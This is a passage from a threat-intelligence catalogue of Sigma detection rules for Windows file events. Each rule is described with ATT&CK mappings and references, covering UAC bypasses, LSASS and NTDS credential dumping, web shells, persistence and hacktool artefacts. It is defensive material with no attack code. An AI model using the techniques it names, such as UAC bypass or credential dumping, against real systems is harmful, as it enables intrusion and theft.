
PowerShell Script Dropped Via PowerShell.EXE

Detects PowerShell creating a PowerShell file (.ps1). While often times this behavior is benign, sometimes it can be a sign of a dropper script trying to achieve persistence.

The tag is: *misp-galaxy:sigma-rules="PowerShell Script Dropped Via PowerShell.EXE"*

Table 14774. Table References

Links
https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_drop_powershell.yml

Potential Suspicious PowerShell Module File Created

Detects the creation of a new PowerShell module in the first folder of the module directory structure "\WindowsPowerShell\Modules\malware\malware.psm1". This is somewhat an uncommon practice as legitimate modules often includes a version folder.

The tag is: *misp-galaxy:sigma-rules="Potential Suspicious PowerShell Module File Created"*

Table 14775. Table References

Links
https://learn.microsoft.com/en-us/powershell/scripting/developer/module/understanding-a-windows-powershell-module?view=powershell-7.3
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_module_susp_creation.yml

Potential Webshell Creation On Static Website

Detects the creation of files with certain extensions on a static web site. This can be indicative of potential uploads of a web shell.

The tag is: *misp-galaxy:sigma-rules="Potential Webshell Creation On Static Website"*

View relationships graph

Potential Webshell Creation On Static Website has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 14776. Table References

Links
PT ESC rule and personal experience[PT ESC rule and personal experience]
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/c95a0a1a2855dc0cd7f7327614545fe30482a636/Upload%20Insecure%20Files/README.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_webshell_creation_detect.yml

UAC Bypass Using EventVwr

Detects the pattern of a UAC bypass using Windows Event Viewer

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using EventVwr"*

Table 14777. Table References

Links
https://twitter.com/splinter_code/status/1519075134296006662?s=12&t=DLUXH86WtcmG_AZ5gY3C6g
https://twitter.com/orange_8361/status/1518970259868626944?s=20&t=RFXqZjtA7tWM3HxqEH78Aw
https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml

ScreenConnect Temporary Installation Artefact

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: *misp-galaxy:sigma-rules="ScreenConnect Temporary Installation Artefact"*

View relationships graph

ScreenConnect Temporary Installation Artefact has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14778. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_remote_access_tools_screenconnect_artefact.yml

Desktop.INI Created by Uncommon Process

Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.

The tag is: *misp-galaxy:sigma-rules="Desktop.INI Created by Uncommon Process"*

View relationships graph

Desktop.INI Created by Uncommon Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

Table 14779. Table References

Links
https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_desktop_ini_created_by_uncommon_process.yml

PowerShell Profile Modification

Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence

The tag is: *misp-galaxy:sigma-rules="PowerShell Profile Modification"*

View relationships graph

PowerShell Profile Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013" with estimative-language:likelihood-probability="almost-certain"

Table 14780. Table References

Links
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
https://persistence-info.github.io/Data/powershellprofile.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_powershell_profile.yml

Potential Persistence Via Outlook Form

Detects the creation of a new Outlook form which can contain malicious code

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Outlook Form"*

View relationships graph

Potential Persistence Via Outlook Form has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Outlook Forms - T1137.003" with estimative-language:likelihood-probability="almost-certain"

Table 14781. Table References

Links
https://learn.microsoft.com/en-us/office/vba/outlook/concepts/outlook-forms/create-an-outlook-form
https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=79
https://www.slipstick.com/developer/custom-form/clean-outlooks-forms-cache/
https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=76
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_outlook_newform.yml

Rclone Config File Creation

Detects Rclone config files being created

The tag is: *misp-galaxy:sigma-rules="Rclone Config File Creation"*

View relationships graph

Rclone Config File Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

Table 14782. Table References

Links
https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_rclone_config_files.yml

Potential RipZip Attack on Startup Folder

Detects a phishing attack which expands a ZIP file containing a malicious shortcut. If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder. Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.

The tag is: *misp-galaxy:sigma-rules="Potential RipZip Attack on Startup Folder"*

View relationships graph

Potential RipZip Attack on Startup Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"

Table 14783. Table References

Links
https://twitter.com/jonasLyk/status/1549338335243534336?t=CrmPocBGLbDyE4p6zTX1cg&s=19
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ripzip_attack.yml

CSExec Service File Creation

Detects default CSExec service filename which indicates CSExec service installation and execution

The tag is: *misp-galaxy:sigma-rules="CSExec Service File Creation"*

View relationships graph

CSExec Service File Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 14784. Table References

Links
https://github.com/malcomvetter/CSExec

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_csexec_service.yml

Potentially Suspicious WDAC Policy File Creation

Detects suspicious Windows Defender Application Control (WDAC) policy file creation from abnormal processes that could be abused by attacker to block EDR/AV components while allowing their own malicious code to run on the system.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious WDAC Policy File Creation"*

Table 14785. Table References

Links
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/deployment/deploy-appcontrol-policies-using-group-policy
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/deployment/deploy-appcontrol-policies-with-script
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/deployment/appcontrol-deployment-guide
https://github.com/logangoins/Krueger/tree/main
https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/deployment/deploy-appcontrol-policies-with-memcm
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_wdac_policy_creation.yml

Uncommon File Created by Notepad++ Updater Gup.EXE

Detects when the Notepad++ updater (gup.exe) creates files in suspicious or uncommon locations. This could indicate potential exploitation of the updater component to deliver unwanted malware or unwarranted files.

The tag is: *misp-galaxy:sigma-rules="Uncommon File Created by Notepad++ Updater Gup.EXE"*

View relationships graph

Uncommon File Created by Notepad++ Updater Gup.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"

Table 14786. Table References

Links
https://securelist.com/notepad-supply-chain-attack/118708/
https://www.heise.de/en/news/Notepad-updater-installed-malware-11109726.html
https://notepad-plus-plus.org/news/v889-released/
https://www.validin.com/blog/exploring_notepad_plus_plus_network_indicators/
https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_gup_uncommon_file_creation.yml

UAC Bypass Using MSConfig Token Modification - File

Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using MSConfig Token Modification - File"*

View relationships graph

UAC Bypass Using MSConfig Token Modification - File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14787. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_msconfig_gui.yml

Octopus Scanner Malware

Detects Octopus Scanner Malware.

The tag is: *misp-galaxy:sigma-rules="Octopus Scanner Malware"*

View relationships graph

Octopus Scanner Malware has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Compromise Software Dependencies and Development Tools - T1195.001" with estimative-language:likelihood-probability="almost-certain"

Table 14788. Table References

Links
https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_octopus_scanner.yml

Hijack Legit RDP Session to Move Laterally

Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder

The tag is: *misp-galaxy:sigma-rules="Hijack Legit RDP Session to Move Laterally"*

View relationships graph

Hijack Legit RDP Session to Move Laterally has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14789. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tsclient_filewrite_startup.yml

Files With System DLL Name In Unsuspected Locations

Detects the creation of a file with the ".dll" extension that has the name of a System DLL in uncommon or unsuspected locations. (Outisde of "System32", "SysWOW64", etc.). It is highly recommended to perform an initial baseline before using this rule in production.

The tag is: *misp-galaxy:sigma-rules="Files With System DLL Name In Unsuspected Locations"*

View relationships graph

Files With System DLL Name In Unsuspected Locations has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

Table 14790. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_system_dll_files.yml

Renamed VsCode Code Tunnel Execution - File Indicator

Detects the creation of a file with the name "code_tunnel.json" which indicate execution and usage of VsCode tunneling utility by an "Image" or "Process" other than VsCode.

The tag is: *misp-galaxy:sigma-rules="Renamed VsCode Code Tunnel Execution - File Indicator"*

Table 14791. Table References

Links
https://ipfyx.fr/post/visual-studio-code-tunnel/
https://badoption.eu/blog/2023/01/31/code_c2.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_vscode_tunnel_renamed_execution.yml

Suspicious Binaries and Scripts in Public Folder

Detects the creation of a file with a suspicious extension in the public folder, which could indicate potential malicious activity.

The tag is: *misp-galaxy:sigma-rules="Suspicious Binaries and Scripts in Public Folder"*

View relationships graph

Suspicious Binaries and Scripts in Public Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"

Table 14792. Table References

Links
https://intel.thedfirreport.com/events/view/30032
https://intel.thedfirreport.com/eventReports/view/70
https://thedfirreport.com/2025/01/27/cobalt-strike-and-a-pair-of-socks-lead-to-lockbit-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_public_folder_extension.yml

Windows Binaries Write Suspicious Extensions

Detects Windows executables that write files with suspicious extensions

The tag is: *misp-galaxy:sigma-rules="Windows Binaries Write Suspicious Extensions"*

View relationships graph

Windows Binaries Write Suspicious Extensions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 14793. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_files_extensions.yml

New Custom Shim Database Created

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.

The tag is: *misp-galaxy:sigma-rules="New Custom Shim Database Created"*

View relationships graph

New Custom Shim Database Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

Table 14794. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-2---new-shim-database-files-created-in-the-default-shim-database-directory
https://www.mandiant.com/resources/blog/fin7-shim-databases-persistence
https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/
https://liberty-shell.com/sec/2020/02/25/shim-persistence/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_new_shim_database.yml

UAC Bypass Using Consent and Comctl32 - File

Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using Consent and Comctl32 - File"*

View relationships graph

UAC Bypass Using Consent and Comctl32 - File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14795. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_consent_comctl32.yml

Potential Startup Shortcut Persistence Via PowerShell.EXE

Detects PowerShell writing startup shortcuts. This procedure was highlighted in Red Canary Intel Insights Oct. 2021, "We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence. Accordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats. In the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL"

The tag is: *misp-galaxy:sigma-rules="Potential Startup Shortcut Persistence Via PowerShell.EXE"*

View relationships graph

Potential Startup Shortcut Persistence Via PowerShell.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14796. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder
https://redcanary.com/blog/intelligence-insights-october-2021/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_startup_shortcuts.yml

Cred Dump Tools Dropped Files

Files with well-known filenames (parts of credential dump software or files produced by them) creation

The tag is: *misp-galaxy:sigma-rules="Cred Dump Tools Dropped Files"*

View relationships graph

Cred Dump Tools Dropped Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"

Table 14797. Table References

Links
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cred_dump_tools_dropped_files.yml

Suspicious File Created in Outlook Temporary Directory

Detects the creation of files with suspicious file extensions in the temporary directory that Outlook uses when opening attachments. This can be used to detect spear-phishing campaigns that use suspicious files as attachments, which may contain malicious code.

The tag is: *misp-galaxy:sigma-rules="Suspicious File Created in Outlook Temporary Directory"*

View relationships graph

Suspicious File Created in Outlook Temporary Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 14798. Table References

Links
https://thecyberexpress.com/rogue-rdp-files-used-in-ukraine-cyberattacks/
https://www.microsoft.com/en-us/security/blog/2024/10/29/midnight-blizzard-conducts-large-scale-spear-phishing-campaign-using-rdp-files/

https://vipre.com/blog/svg-phishing-attacks-the-new-trick-in-the-cybercriminals-playbook/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_outlook_susp_file_creation_in_temp_dir.yml

HackTool - Inveigh Execution Artefacts

Detects the presence and execution of Inveigh via dropped artefacts

The tag is: *misp-galaxy:sigma-rules="HackTool - Inveigh Execution Artefacts"*

View relationships graph

HackTool - Inveigh Execution Artefacts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14799. Table References

Links
https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs
https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs
https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_inveigh_artefacts.yml

Legitimate Application Dropped Script

Detects programs on a Windows system that should not write scripts to disk

The tag is: *misp-galaxy:sigma-rules="Legitimate Application Dropped Script"*

View relationships graph

Legitimate Application Dropped Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14800. Table References

Links
https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_script.yml

Potential Persistence Attempt Via ErrorHandler.Cmd

Detects creation of a file named "ErrorHandler.cmd" in the "C:\WINDOWS\Setup\Scripts\" directory which could be used as a method of persistence The content of C:\WINDOWS\Setup\Scripts\ErrorHandler.cmd is read whenever some tools under C:\WINDOWS\System32\oobe\ (e.g. Setup.exe) fail to run for any reason.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Attempt Via ErrorHandler.Cmd"*

Table 14801. Table References

Links
https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/
https://github.com/last-byte/PersistenceSniper
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_errorhandler_persistence.yml

Suspicious LNK Double Extension File Created

Detects the creation of files with an "LNK" as a second extension. This is sometimes used by malware as a method to abuse the fact that Windows hides the "LNK" extension by default.

The tag is: *misp-galaxy:sigma-rules="Suspicious LNK Double Extension File Created"*

View relationships graph

Suspicious LNK Double Extension File Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007" with estimative-language:likelihood-probability="almost-certain"

Table 14802. Table References

Links
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/
https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles
https://twitter.com/malwrhunterteam/status/1235135745611960321
https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations
https://twitter.com/luc4m/status/1073181154126254080
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_lnk_double_extension.yml

NTDS.DIT Creation By Uncommon Parent Process

Detects creation of a file named "ntds.dit" (Active Directory Database) by an uncommon parent process or directory

The tag is: *misp-galaxy:sigma-rules="NTDS.DIT Creation By Uncommon Parent Process"*

View relationships graph

NTDS.DIT Creation By Uncommon Parent Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 14803. Table References

Links
https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1
https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration
https://pentestlab.blog/tag/ntds-dit/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_uncommon_parent_process.yml

File With Uncommon Extension Created By An Office Application

Detects the creation of files with an executable or script extension by an Office application.

The tag is: *misp-galaxy:sigma-rules="File With Uncommon Extension Created By An Office Application"*

View relationships graph

File With Uncommon Extension Created By An Office Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 14804. Table References

Links

https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi(aka_REvil)_Ransomware.yaml
https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_susp_file_extension.yml

Created Files by Microsoft Sync Center

This rule detects suspicious files created by Microsoft Sync Center (mobsync)

The tag is: *misp-galaxy:sigma-rules="Created Files by Microsoft Sync Center"*

View relationships graph

Created Files by Microsoft Sync Center has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14805. Table References

Links
https://redcanary.com/blog/intelligence-insights-november-2021/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_creation_by_mobsync.yml

HackTool - CrackMapExec File Indicators

Detects file creation events with filename patterns used by CrackMapExec.

The tag is: *misp-galaxy:sigma-rules="HackTool - CrackMapExec File Indicators"*

View relationships graph

HackTool - CrackMapExec File Indicators has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 14806. Table References

Links

https://github.com/byt3bl33d3r/CrackMapExec/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_crackmapexec_indicators.yml

Suspicious File Write to Webapps Root Directory

Detects suspicious file writes to the root directory of web applications, particularly Apache web servers or Tomcat servers. This may indicate an attempt to deploy malicious files such as web shells or other unauthorized scripts.

The tag is: *misp-galaxy:sigma-rules="Suspicious File Write to Webapps Root Directory"*

View relationships graph

Suspicious File Write to Webapps Root Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 14807. Table References

Links
https://labs.watchtowr.com/guess-who-would-be-stupid-enough-to-rob-the-same-vault-twice-pre-auth-rce-chains-in-commvault/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_file_write_in_webapps_root.yml

Uncommon File Creation By Mysql Daemon Process

Detects the creation of files with scripting or executable extensions by Mysql daemon. Which could be an indicator of "User Defined Functions" abuse to download malware.

The tag is: *misp-galaxy:sigma-rules="Uncommon File Creation By Mysql Daemon Process"*

Table 14808. Table References

Links
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-mysql-malware-infection-via-user-defined-functions-udf/
https://asec.ahnlab.com/en/58878/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mysqld_uncommon_file_creation.yml

HackTool - Typical HiveNightmare SAM File Export

Detects files written by the different tools that exploit HiveNightmare

The tag is: *misp-galaxy:sigma-rules="HackTool - Typical HiveNightmare SAM File Export"*

View relationships graph

HackTool - Typical HiveNightmare SAM File Export has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 14809. Table References

Links
https://twitter.com/cube0x0/status/1418920190759378944
https://github.com/GossiTheDog/HiveNightmare
https://github.com/WiredPulse/Invoke-HiveNightmare
https://github.com/FireFart/hivenightmare/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_hivenightmare_file_exports.yml

Suspicious Outlook Macro Created

Detects the creation of a macro file for Outlook.

The tag is: *misp-galaxy:sigma-rules="Suspicious Outlook Macro Created"*

View relationships graph

Suspicious Outlook Macro Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546" with estimative-language:likelihood-probability="almost-certain"

Table 14810. Table References

Links
https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/
https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53

https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b-/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_outlook_susp_macro_creation.yml

UAC Bypass Using .NET Code Profiler on MMC

Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using .NET Code Profiler on MMC"*

View relationships graph

UAC Bypass Using .NET Code Profiler on MMC has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14811. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_dotnet_profiler.yml

Suspicious File Creation Activity From Fake Recycle.Bin Folder

Detects file write event from/to a fake recycle bin folder that is often used as a staging directory for malware

The tag is: *misp-galaxy:sigma-rules="Suspicious File Creation Activity From Fake Recycle.Bin Folder"*

Table 14812. Table References

Links
https://www.mandiant.com/resources/blog/infected-usb-steal-secrets
https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_recycle_bin_fake_exec.yml

LSASS Process Dump Artefact In CrashDumps Folder

Detects the presence of an LSASS dump file in the "CrashDumps" folder. This could be a sign of LSASS credential dumping. Techniques such as the LSASS Shtinkering have been seen abusing the Windows Error Reporting to dump said process.

The tag is: *misp-galaxy:sigma-rules="LSASS Process Dump Artefact In CrashDumps Folder"*

View relationships graph

LSASS Process Dump Artefact In CrashDumps Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 14813. Table References

Links
https://github.com/deepinstinct/Lsass-Shtinkering
https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_shtinkering.yml

Wmiexec Default Output File

Detects the creation of the default output filename used by the wmiexec tool

The tag is: *misp-galaxy:sigma-rules="Wmiexec Default Output File"*

View relationships graph

Wmiexec Default Output File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 14814. Table References

Links
https://github.com/fortra/impacket/blob/f4b848fa27654ca95bc0f4c73dbba8b9c2c9f30a/examples/wmiexec.py
https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiexec_default_filename.yml

ISO File Created Within Temp Folders

Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.

The tag is: *misp-galaxy:sigma-rules="ISO File Created Within Temp Folders"*

View relationships graph

